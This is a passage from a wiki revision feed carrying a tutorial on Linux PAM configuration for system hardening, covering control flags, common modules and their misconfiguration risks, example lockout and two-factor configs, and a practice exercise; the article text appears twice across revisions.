auth    required    pam_u2f.so  authfile=/etc/security/u2f_mappings cue # (this would require 2FA via FIDO/U2F security key, and store mappings in /etc/security/u2f_mappings)&lt;br /&gt;
auth    required    pam_faillock.so authfail # (count failures, records them in /var/run/faillock. If the amount of failures exceeds the threshold, the account is locked for the configured time)&lt;br /&gt;
auth    sufficient  pam_faillock.so reset # (If this module succeeds---thus the user authenticates---then it clears any failed login attempts for that user, and resest the counter to 0 for that user)&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
== PAM Control Flags and Keywords ==&lt;br /&gt;
&lt;br /&gt;
Now, you may be asking: what do those flags, like &amp;lt;code&amp;gt;auth&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;required&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;sufficient&amp;lt;/code&amp;gt; and etc. mean? Well, these words are PAM control flags, and they decide when a specific module is invoked, how its result is interpreted, and whwether or not pam keeps processing.&lt;br /&gt;
&lt;br /&gt;
First, there are the facility keywords. These keyowrds tell PAM which phase or type of check the line belongs to.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;auth&amp;lt;/code&amp;gt; -&amp;amp;gt; This verifies a users identity (i.e. Password check, 2FA, smartcard)&lt;br /&gt;
* &amp;lt;code&amp;gt;account&amp;lt;/code&amp;gt; -&amp;amp;gt; This determines if the account is allowed access. (i.e. Is the account expired? Is the user allowed to login from 21:00-08:00?)&lt;br /&gt;
* &amp;lt;code&amp;gt;password&amp;lt;/code&amp;gt; -&amp;amp;gt; This handles changing or updating credentials. (i.e. Enforcing strong password rules when a user runs the command &amp;lt;code&amp;gt;passwd&amp;lt;/code&amp;gt;)&lt;br /&gt;
* &amp;lt;code&amp;gt;session&amp;lt;/code&amp;gt; -&amp;amp;gt; This manages session startup and shutdown. (i.e. Logging session start/stop, mounting home directiories, applying resource limits)&lt;br /&gt;
&lt;br /&gt;
Next, we have the control flags. These define what pam should do with the results of the module.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;required&amp;lt;/code&amp;gt; -&amp;amp;gt; This instructs that the module must succeed in order for authentication to succeed. However, if the module fails, PAM will continue processing, to prevent the user from knowing which check had failed. If any &amp;lt;code&amp;gt;required&amp;lt;/code&amp;gt; module fails, the outcome will be fail, no matter if other modules succeeded.&lt;br /&gt;
* &amp;lt;code&amp;gt;requisite&amp;lt;/code&amp;gt; -&amp;amp;gt; This is mostly the same as &amp;lt;code&amp;gt;required&amp;lt;/code&amp;gt; above. However, instead of continuing upon failure, PAM will stop immediatley and deny access.&lt;br /&gt;
* &amp;lt;code&amp;gt;sufficient&amp;lt;/code&amp;gt; -&amp;amp;gt; If the module succeeds, no further checks are required, and access will be immediatley granted. However, if the module fails, then PAM will keep going.&lt;br /&gt;
* &amp;lt;code&amp;gt;optional&amp;lt;/code&amp;gt; -&amp;amp;gt; Whether or not the success or failure of that module will be considered is if it is the only module of that type. Otherwise, it&#039;ll be ignored. This is mainly used for logging modules and non-critical checks.&lt;br /&gt;
* &amp;lt;code&amp;gt;include&amp;lt;/code&amp;gt; -&amp;amp;gt; This isn&#039;t a flag, but actually a directive. It means &#039;include another PAM configuration file here&#039;. It is mostly used for reusing common configurations.&lt;br /&gt;
&lt;br /&gt;
== PAM Modules ==&lt;br /&gt;
&lt;br /&gt;
Most linux systems come pre-installed with PAM and some modules, whcih are commonly located in &amp;lt;code&amp;gt;/lib/x86_64-linux-gnu/security/&amp;lt;/code&amp;gt; (on Debian/Ubuntu distros; path will/,ay differ on others). Below is a list of common modules, what each of them do, and vulnerabilities/misconfigurations.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_unix&amp;lt;/code&amp;gt; Handles traditional UNIX authentication (passwords stored in &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;). Vulnerability: If the passwords in &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt; are compromised, or weak passwords are used, threat actors can brute force credentials.&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_cracklib&amp;lt;/code&amp;gt;/&amp;lt;code&amp;gt;pam_pwquality&amp;lt;/code&amp;gt; Enforces password strength rules (length, complexity, dictionary checks). Vulnerability: If module isn&#039;t used, weak passwords will be used. If misconfigured, the rules may bee too relaxed (meaning simple passwords) or too strict (meaning passwords complex enough that most users would write their passwords on a sticky note... which they would stick to their monitor).&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_limits&amp;lt;/code&amp;gt; Applies limits defined in &amp;lt;code&amp;gt;/etc/security/limits.conf&amp;lt;/code&amp;gt; (i.e., max processes, file sizes). Vulenrability: Weak or missing limits will allow Denial of Service (Dos) via fork bombs or resource exhaustion.&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_securetty&amp;lt;/code&amp;gt; Restricts &amp;lt;code&amp;gt;root&amp;lt;/code&amp;gt; login to &amp;amp;quot;secure&amp;amp;quot; terminals that are listed in &amp;lt;code&amp;gt;/etc/securetty&amp;lt;/code&amp;gt;. Vulnerability: If misconfigured, threat actors could login as root from unsafe terminals (i.e. remote consoles).&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_nologin&amp;lt;/code&amp;gt; Blocks non-root users from logging in if &amp;lt;code&amp;gt;/etc/nologin&amp;lt;/code&amp;gt; exists (can be used when editing an account to prevent access to it during a timeframe when root permissions are being changed, i.e. an employee being demoted in a company). Vulnerability: If neglected, it may unintentionally lock out legitimate users, or vice-versa not be deployed when it should&#039;ve been.&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_time&amp;lt;/code&amp;gt; Restricts logins based on time of day rules in &amp;lt;code&amp;gt;/etc/security/time.conf&amp;lt;/code&amp;gt;. Vulnerability: Misconfiguration could allow off hours logins to systems when it should be denied (i.e. a bank representative accessing users&#039; accounts at 2am).&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_access&amp;lt;/code&amp;gt; Controls access based on user and host rules from &amp;lt;code&amp;gt;/etc/security/accesss.conf&amp;lt;/code&amp;gt;. Vulnerability: Misconfiguration can grant the wrong users access and deny access to the users that need it.&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_tally&amp;lt;/code&amp;gt;/&amp;lt;code&amp;gt;pam_tally2&amp;lt;/code&amp;gt;/&amp;lt;code&amp;gt;pam_faillock&amp;lt;/code&amp;gt; Counts failed login attempts and can lock accounts after there were too many failed attempts. Vulnerability: &amp;lt;code&amp;gt;pam_tally&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;pam_tally2&amp;lt;/code&amp;gt; have been deprecated due to counting errors, possible username leakage, and more. Replaced with &amp;lt;code&amp;gt;pam_faillock&amp;lt;/code&amp;gt;.&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_wheel&amp;lt;/code&amp;gt; Restricts the &amp;lt;code&amp;gt;su&amp;lt;/code&amp;gt; command to users in the &amp;lt;code&amp;gt;wheel&amp;lt;/code&amp;gt; (also called &amp;lt;code&amp;gt;sudo&amp;lt;/code&amp;gt;) group. Vulnerability: Exploiting [https://nvd.nist.gov/vuln/detail/CVE-2003-0388 CVE-2003-0388] could allow a threat actor to gain &amp;lt;code&amp;gt;wheel&amp;lt;/code&amp;gt;/&amp;lt;code&amp;gt;sudo&amp;lt;/code&amp;gt; privilages, then modify files like &amp;lt;code&amp;gt;sudo&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;login&amp;lt;/code&amp;gt;, or &amp;lt;code&amp;gt;pam_exec&amp;lt;/code&amp;gt;.&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_exec&amp;lt;/code&amp;gt; Runs an external program or script during authentication. Vulnerability: Misconfiguration may result in running incorrect programs during authentication.&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_systemd&amp;lt;/code&amp;gt; Integrates uers sessions with systmd. Vulneravility: could be exploited to read coredump information, which may include &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;. [https://nvd.nist.gov/vuln/detail/CVE-2025-4598 CVE-2025-4598].&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_xauth&amp;lt;/code&amp;gt; Handles X11 forwarding authentication for X11 graphical sessions. Vulnerability: If misconfigured, an insecure forwarding setup may allow [https://www.tenable.com/plugins/nessus/31737?utm_source=chatgpt.com X11 session hijacking].&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_umask&amp;lt;/code&amp;gt; Sets the default file creation permissions (umask) for users. Vulnerability: if minimum permissions are not implemented, users may be able to create world-readable files that leak data (i.e., private keys and SSH data like ~/.ssh/id_rsa).&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_group&amp;lt;/code&amp;gt; Assigns users to groups at login based on rules. Vulnerability: Misconfiguration could result in users being granted unintended group privilages.&lt;br /&gt;
&lt;br /&gt;
=== Practice ===&lt;br /&gt;
&lt;br /&gt;
Can you instruct PAM to have a user login, verify via Google authenticator (&amp;lt;code&amp;gt;pam_google_authenticator.so&amp;lt;/code&amp;gt;), and solve a Captcha (&amp;lt;code&amp;gt;/usr/local/sbin/pam_captcha.sh&amp;lt;/code&amp;gt;) before being granted access? If the user fails the captcha three times, the account is immediatley locked.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Solution (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;auth    required    pam_faillock.so preauth silent deny=3   unlock_time=900&lt;br /&gt;
auth    required    pam_unix.so try_first_pass&lt;br /&gt;
auth    required    pam_google_authenticator.so&lt;br /&gt;
auth    required    pam_exec.so quiet   log=/var/log/pam_captcha.log seteuid /usr/local/sbin/pam_captcha.sh&lt;br /&gt;
auth    required    pam_faillock.so authfail&lt;br /&gt;
auth    sufficient  pam_faillock.so reset&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Explanation (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
The first line is a pre-auth. It defines that after 3 total auth failures, the account will be locked.&amp;lt;br /&amp;gt; The second line defines that the primary authentication factor that must be met is the password.&amp;lt;br /&amp;gt; The third line defines that the secondary authentication factor that must be met is getting a code from Google Authenticator.&amp;lt;br /&amp;gt; The fourth line executes a captcha via an external script, and the script will pass to PAM whether or not it failed.&amp;lt;br /&amp;gt; The fith line counts failures.&amp;lt;br /&amp;gt; The sixth line resets the failure counter upon success.&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Open-ended question:&#039;&#039;&#039;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The first line is a pre-auth. It defines that after 3 total auth failures, the account will be locked.&amp;lt;br /&amp;gt; The second line defines that the primary authentication factor that must be met is the password.&amp;lt;br /&amp;gt; The third line defines that the secondary authentication factor that must be met is getting a code from Google Authenticator.&amp;lt;br /&amp;gt; The fourth line executes a captcha via an external script, and the script will pass to PAM whether or not it failed.&amp;lt;br /&amp;gt; The fith line counts failures.&amp;lt;br /&amp;gt; The sixth line resets the failure counter upon success.&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Open-ended question:&#039;&#039;&#039;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Why do you think &amp;lt;code&amp;gt;required&amp;lt;/code&amp;gt; was used instead of &amp;lt;code&amp;gt;requisite&amp;lt;/code&amp;gt;?&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== PAM Vulnerabilites ==&lt;br /&gt;
&lt;br /&gt;
Although PAM seems to be a very straightforward and secure authentication method, it introduces serious security risks if it is not managed correctly.&lt;br /&gt;
&lt;br /&gt;
Most exploits boil down to attackers using [https://www.broadcom.com/support/security-center/protection-bulletin/plague-a-linux-backdoor malicious module] to create backdoors. Because PAM modules run with higher privileges, any compromised or malicious modules can log credentials, grant unauthorized access, or lock out accounts. Current PAM vulnerabilites can be found [https://www.cve.org/CVERecord/SearchResults?query=pam+linux here].&lt;br /&gt;
&lt;br /&gt;
== PAM Auditing ==&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/usr/lib64/security&amp;lt;/code&amp;gt;&lt;br /&gt;
* &amp;lt;code&amp;gt;/etc/pam.d&amp;lt;/code&amp;gt;&lt;br /&gt;
* &amp;lt;code&amp;gt;/etc/security&amp;lt;/code&amp;gt;&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/log/secure&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[https://www.kirillshore.com My wesbite]&lt;br /&gt;
&lt;br /&gt;
[https://buymeacoffee.com/kirillshore Buy me a coffee]&lt;br /&gt;
&lt;br /&gt;
== Further Reading ==&lt;br /&gt;
&lt;br /&gt;
https://www.redhat.com/en/blog/pam-configuration-file&amp;lt;br /&amp;gt;&lt;br /&gt;
https://www.redhat.com/en/blog/pluggable-authentication-modules-pam&amp;lt;br /&amp;gt;&lt;br /&gt;
https://unit42.paloaltonetworks.com/linux-pam-apis/&amp;lt;br /&amp;gt;&lt;br /&gt;
https://www.broadcom.com/support/security-center/protection-bulletin/plague-a-linux-backdoor&amp;lt;br /&amp;gt;&lt;br /&gt;
https://www.cyberark.com/resources/blog/plague-malware-exploits-pluggable-authentication-module-to-breach-linux-systems&lt;br /&gt;
&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
&amp;lt;small&amp;gt;This Wiki page was authored by Kirill Shore. Within cypat.guide, this content is licensed under CC-BY 4.0. All use outside of cypat.guide is governed by the Shore-Roger Enterprises End User License Agreement (https://www.kirillshore.com/eula). Proper attribution to Kirill Shore as the original author is required. Unauthorized copying, modification, or redistribution without appropriate credit constitutes plagiarism and may be subject to U.S. copyright law.&amp;lt;/small&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Linux Account Policies|025]]&lt;br /&gt;
[[Category:Migrated from cypat.guide]]&lt;/div&gt;</summary>
		<author><name>AdminUser</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=PAM_(Pluggable_Authentication_Module)&amp;diff=127</id>
		<title>PAM (Pluggable Authentication Module)</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=PAM_(Pluggable_Authentication_Module)&amp;diff=127"/>
		<updated>2026-09-18T19:53:26Z</updated>

		<summary type="html">&lt;p&gt;AdminUser: Approved by AdminUser: removing the submission notice and Pending review category&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;!-- Migrated from https://cypat.guide/docs/linux/account_policies/pam (source: docs/linux/account_policies/pam.md) --&amp;gt;&lt;br /&gt;
&amp;lt;!-- REVIEW: source used JSX (JSX style object); layout-only divs were dropped. Compare with the original. --&amp;gt;&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
Author(s): Kirill Shore&lt;br /&gt;
&lt;br /&gt;
Last Updated: 10-02-2025&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Recommended Prerequisites (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
None&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== What is PAM? ==&lt;br /&gt;
&lt;br /&gt;
PAM stands for Pluggable Authentication Module. It&#039;s a framework that provides important ways to create authentication (and related) programs indipendently of the applications that use them. PAM may be used to handle tasks like verifying a username and password, checking biometric data, or working with external systems like Kerberos, LDAP, or 2FA. PAM systems administartors have the ability to then plug in different authentication module methods (like 2FA) without changing/rewriting applications/programs. I.e. you may switch from password authentication to security keys. Fun fact: the applications themselves don&#039;t know how authentication is performed. The only thing they do is ask pam if the user is who they claim to be.&lt;br /&gt;
&lt;br /&gt;
== Pam Basics ==&lt;br /&gt;
&lt;br /&gt;
There are several PAM services (not to be confused with modules), as an example:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;sshd&amp;lt;/code&amp;gt;, which handles authentication for remote logins via SSH. It validates credentials like passwords, keys, MFA, etc., enforces different policies like banning the ability to login as root, or requiring 2FA. It can also prevent brute force attempts when combined with modules like pam_tally2.&lt;br /&gt;
* &amp;lt;code&amp;gt;login&amp;lt;/code&amp;gt;, it controls authentication for users who are logging in via a text console (i.e. tty). It verifies the username and password, checks if the account is locked/expired, and applies restrictions like time of day logins.&lt;br /&gt;
* &amp;lt;code&amp;gt;sudo&amp;lt;/code&amp;gt;, manages authentication when a user attempts to run commands as another user (i.e. su). It prompts the user for password before escalating privelages. It also has the ability to timeout someone who is root and force them to re-login. On many distros, su cannot be run alone to switch to root, as the root account is disabled by default (meaning its password is locked). Sudo su is instead used. Sudo checks if your user in the sudo or wheel group, asks for your password, and then runs su as root so that there is no need for a root password. Each PAM service also has its own file in &amp;lt;code&amp;gt;/etc/pam.d&amp;lt;/code&amp;gt;. These files define which modules are being user (modules are shared libraries that perform special security functions, such as user authetication, account management, session management, or password management). Some PAM modules are, but not limited to:&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_unix.so&amp;lt;/code&amp;gt; (Default PAM module)&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_tally2.so&amp;lt;/code&amp;gt; (Which is used to count login attempts and lock an account after a specified number of failed attempts)&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_google_authenticator.so&amp;lt;/code&amp;gt; (Which provides 2FA support if you use the Google Authenticator app on a mobile device)&lt;br /&gt;
&lt;br /&gt;
== PAM Security Principles ==&lt;br /&gt;
&lt;br /&gt;
In any Cybersecurity industry, the idea of Least Privilege is important, in order to prevent users from having more power than they need. For example, a teller for FreedomBank has to process a transaction, depositing phyisical cash and adding it to the customers bank account. This employee should not, nor do they need, access to information (unless for verification purposes) such as the tiles or details of past transactions other than their amounts, investment accounts, debts or loans, etc. In this case, the teller is given the minimum privileges to do their job, and nothing more. But how can PAM be used in this case? Let&#039;s suppose that the teller logs into a banking application or a Linux shell for deposits. In &amp;lt;code&amp;gt;/etc/pam.d/deposit_app&amp;lt;/code&amp;gt;, we would configure PAM to allow teller group users or higher to authenticate:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;auth    required    pam_unix.so&lt;br /&gt;
account required    pam_succeed_if.so   user    ingroup tellers&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
(Note that the above is a basic configuration that will ONLY allow tellers to login. An example of a more realistic configuration is below)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;auth    required    pam_faillock.so preauth silent  deny=5  unlock_time=600 # (this would lockout the account to prevent brute-force attacks&lt;br /&gt;
auth    required    pam_unix.so try_first_pass # (primary password authentication)&lt;br /&gt;
auth    required    pam_u2f.so  authfile=/etc/security/u2f_mappings cue # (this would require 2FA via FIDO/U2F security key, and store mappings in /etc/security/u2f_mappings)&lt;br /&gt;
auth    required    pam_faillock.so authfail # (count failures, records them in /var/run/faillock. If the amount of failures exceeds the threshold, the account is locked for the configured time)&lt;br /&gt;
auth    sufficient  pam_faillock.so reset # (If this module succeeds---thus the user authenticates---then it clears any failed login attempts for that user, and resest the counter to 0 for that user)&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
== PAM Control Flags and Keywords ==&lt;br /&gt;
&lt;br /&gt;
Now, you may be asking: what do those flags, like &amp;lt;code&amp;gt;auth&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;required&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;sufficient&amp;lt;/code&amp;gt; and etc. mean? Well, these words are PAM control flags, and they decide when a specific module is invoked, how its result is interpreted, and whwether or not pam keeps processing.&lt;br /&gt;
&lt;br /&gt;
First, there are the facility keywords. These keyowrds tell PAM which phase or type of check the line belongs to.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;auth&amp;lt;/code&amp;gt; -&amp;amp;gt; This verifies a users identity (i.e. Password check, 2FA, smartcard)&lt;br /&gt;
* &amp;lt;code&amp;gt;account&amp;lt;/code&amp;gt; -&amp;amp;gt; This determines if the account is allowed access. (i.e. Is the account expired? Is the user allowed to login from 21:00-08:00?)&lt;br /&gt;
* &amp;lt;code&amp;gt;password&amp;lt;/code&amp;gt; -&amp;amp;gt; This handles changing or updating credentials. (i.e. Enforcing strong password rules when a user runs the command &amp;lt;code&amp;gt;passwd&amp;lt;/code&amp;gt;)&lt;br /&gt;
* &amp;lt;code&amp;gt;session&amp;lt;/code&amp;gt; -&amp;amp;gt; This manages session startup and shutdown. (i.e. Logging session start/stop, mounting home directiories, applying resource limits)&lt;br /&gt;
&lt;br /&gt;
Next, we have the control flags. These define what pam should do with the results of the module.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;required&amp;lt;/code&amp;gt; -&amp;amp;gt; This instructs that the module must succeed in order for authentication to succeed. However, if the module fails, PAM will continue processing, to prevent the user from knowing which check had failed. If any &amp;lt;code&amp;gt;required&amp;lt;/code&amp;gt; module fails, the outcome will be fail, no matter if other modules succeeded.&lt;br /&gt;
* &amp;lt;code&amp;gt;requisite&amp;lt;/code&amp;gt; -&amp;amp;gt; This is mostly the same as &amp;lt;code&amp;gt;required&amp;lt;/code&amp;gt; above. However, instead of continuing upon failure, PAM will stop immediatley and deny access.&lt;br /&gt;
* &amp;lt;code&amp;gt;sufficient&amp;lt;/code&amp;gt; -&amp;amp;gt; If the module succeeds, no further checks are required, and access will be immediatley granted. However, if the module fails, then PAM will keep going.&lt;br /&gt;
* &amp;lt;code&amp;gt;optional&amp;lt;/code&amp;gt; -&amp;amp;gt; Whether or not the success or failure of that module will be considered is if it is the only module of that type. Otherwise, it&#039;ll be ignored. This is mainly used for logging modules and non-critical checks.&lt;br /&gt;
* &amp;lt;code&amp;gt;include&amp;lt;/code&amp;gt; -&amp;amp;gt; This isn&#039;t a flag, but actually a directive. It means &#039;include another PAM configuration file here&#039;. It is mostly used for reusing common configurations.&lt;br /&gt;
&lt;br /&gt;
== PAM Modules ==&lt;br /&gt;
&lt;br /&gt;
Most linux systems come pre-installed with PAM and some modules, whcih are commonly located in &amp;lt;code&amp;gt;/lib/x86_64-linux-gnu/security/&amp;lt;/code&amp;gt; (on Debian/Ubuntu distros; path will/,ay differ on others). Below is a list of common modules, what each of them do, and vulnerabilities/misconfigurations.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_unix&amp;lt;/code&amp;gt; Handles traditional UNIX authentication (passwords stored in &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;). Vulnerability: If the passwords in &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt; are compromised, or weak passwords are used, threat actors can brute force credentials.&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_cracklib&amp;lt;/code&amp;gt;/&amp;lt;code&amp;gt;pam_pwquality&amp;lt;/code&amp;gt; Enforces password strength rules (length, complexity, dictionary checks). Vulnerability: If module isn&#039;t used, weak passwords will be used. If misconfigured, the rules may bee too relaxed (meaning simple passwords) or too strict (meaning passwords complex enough that most users would write their passwords on a sticky note... which they would stick to their monitor).&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_limits&amp;lt;/code&amp;gt; Applies limits defined in &amp;lt;code&amp;gt;/etc/security/limits.conf&amp;lt;/code&amp;gt; (i.e., max processes, file sizes). Vulenrability: Weak or missing limits will allow Denial of Service (Dos) via fork bombs or resource exhaustion.&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_securetty&amp;lt;/code&amp;gt; Restricts &amp;lt;code&amp;gt;root&amp;lt;/code&amp;gt; login to &amp;amp;quot;secure&amp;amp;quot; terminals that are listed in &amp;lt;code&amp;gt;/etc/securetty&amp;lt;/code&amp;gt;. Vulnerability: If misconfigured, threat actors could login as root from unsafe terminals (i.e. remote consoles).&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_nologin&amp;lt;/code&amp;gt; Blocks non-root users from logging in if &amp;lt;code&amp;gt;/etc/nologin&amp;lt;/code&amp;gt; exists (can be used when editing an account to prevent access to it during a timeframe when root permissions are being changed, i.e. an employee being demoted in a company). Vulnerability: If neglected, it may unintentionally lock out legitimate users, or vice-versa not be deployed when it should&#039;ve been.&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_time&amp;lt;/code&amp;gt; Restricts logins based on time of day rules in &amp;lt;code&amp;gt;/etc/security/time.conf&amp;lt;/code&amp;gt;. Vulnerability: Misconfiguration could allow off hours logins to systems when it should be denied (i.e. a bank representative accessing users&#039; accounts at 2am).&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_access&amp;lt;/code&amp;gt; Controls access based on user and host rules from &amp;lt;code&amp;gt;/etc/security/accesss.conf&amp;lt;/code&amp;gt;. Vulnerability: Misconfiguration can grant the wrong users access and deny access to the users that need it.&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_tally&amp;lt;/code&amp;gt;/&amp;lt;code&amp;gt;pam_tally2&amp;lt;/code&amp;gt;/&amp;lt;code&amp;gt;pam_faillock&amp;lt;/code&amp;gt; Counts failed login attempts and can lock accounts after there were too many failed attempts. Vulnerability: &amp;lt;code&amp;gt;pam_tally&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;pam_tally2&amp;lt;/code&amp;gt; have been deprecated due to counting errors, possible username leakage, and more. Replaced with &amp;lt;code&amp;gt;pam_faillock&amp;lt;/code&amp;gt;.&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_wheel&amp;lt;/code&amp;gt; Restricts the &amp;lt;code&amp;gt;su&amp;lt;/code&amp;gt; command to users in the &amp;lt;code&amp;gt;wheel&amp;lt;/code&amp;gt; (also called &amp;lt;code&amp;gt;sudo&amp;lt;/code&amp;gt;) group. Vulnerability: Exploiting [https://nvd.nist.gov/vuln/detail/CVE-2003-0388 CVE-2003-0388] could allow a threat actor to gain &amp;lt;code&amp;gt;wheel&amp;lt;/code&amp;gt;/&amp;lt;code&amp;gt;sudo&amp;lt;/code&amp;gt; privilages, then modify files like &amp;lt;code&amp;gt;sudo&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;login&amp;lt;/code&amp;gt;, or &amp;lt;code&amp;gt;pam_exec&amp;lt;/code&amp;gt;.&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_exec&amp;lt;/code&amp;gt; Runs an external program or script during authentication. Vulnerability: Misconfiguration may result in running incorrect programs during authentication.&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_systemd&amp;lt;/code&amp;gt; Integrates uers sessions with systmd. Vulneravility: could be exploited to read coredump information, which may include &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;. [https://nvd.nist.gov/vuln/detail/CVE-2025-4598 CVE-2025-4598].&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_xauth&amp;lt;/code&amp;gt; Handles X11 forwarding authentication for X11 graphical sessions. Vulnerability: If misconfigured, an insecure forwarding setup may allow [https://www.tenable.com/plugins/nessus/31737?utm_source=chatgpt.com X11 session hijacking].&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_umask&amp;lt;/code&amp;gt; Sets the default file creation permissions (umask) for users. Vulnerability: if minimum permissions are not implemented, users may be able to create world-readable files that leak data (i.e., private keys and SSH data like ~/.ssh/id_rsa).&lt;br /&gt;
* &amp;lt;code&amp;gt;pam_group&amp;lt;/code&amp;gt; Assigns users to groups at login based on rules. Vulnerability: Misconfiguration could result in users being granted unintended group privilages.&lt;br /&gt;
&lt;br /&gt;
=== Practice ===&lt;br /&gt;
&lt;br /&gt;
Can you instruct PAM to have a user login, verify via Google authenticator (&amp;lt;code&amp;gt;pam_google_authenticator.so&amp;lt;/code&amp;gt;), and solve a Captcha (&amp;lt;code&amp;gt;/usr/local/sbin/pam_captcha.sh&amp;lt;/code&amp;gt;) before being granted access? If the user fails the captcha three times, the account is immediatley locked.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Solution (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;auth    required    pam_faillock.so preauth silent deny=3   unlock_time=900&lt;br /&gt;
auth    required    pam_unix.so try_first_pass&lt;br /&gt;
auth    required    pam_google_authenticator.so&lt;br /&gt;
auth    required    pam_exec.so quiet   log=/var/log/pam_captcha.log seteuid /usr/local/sbin/pam_captcha.sh&lt;br /&gt;
auth    required    pam_faillock.so authfail&lt;br /&gt;
auth    sufficient  pam_faillock.so reset&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Explanation (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
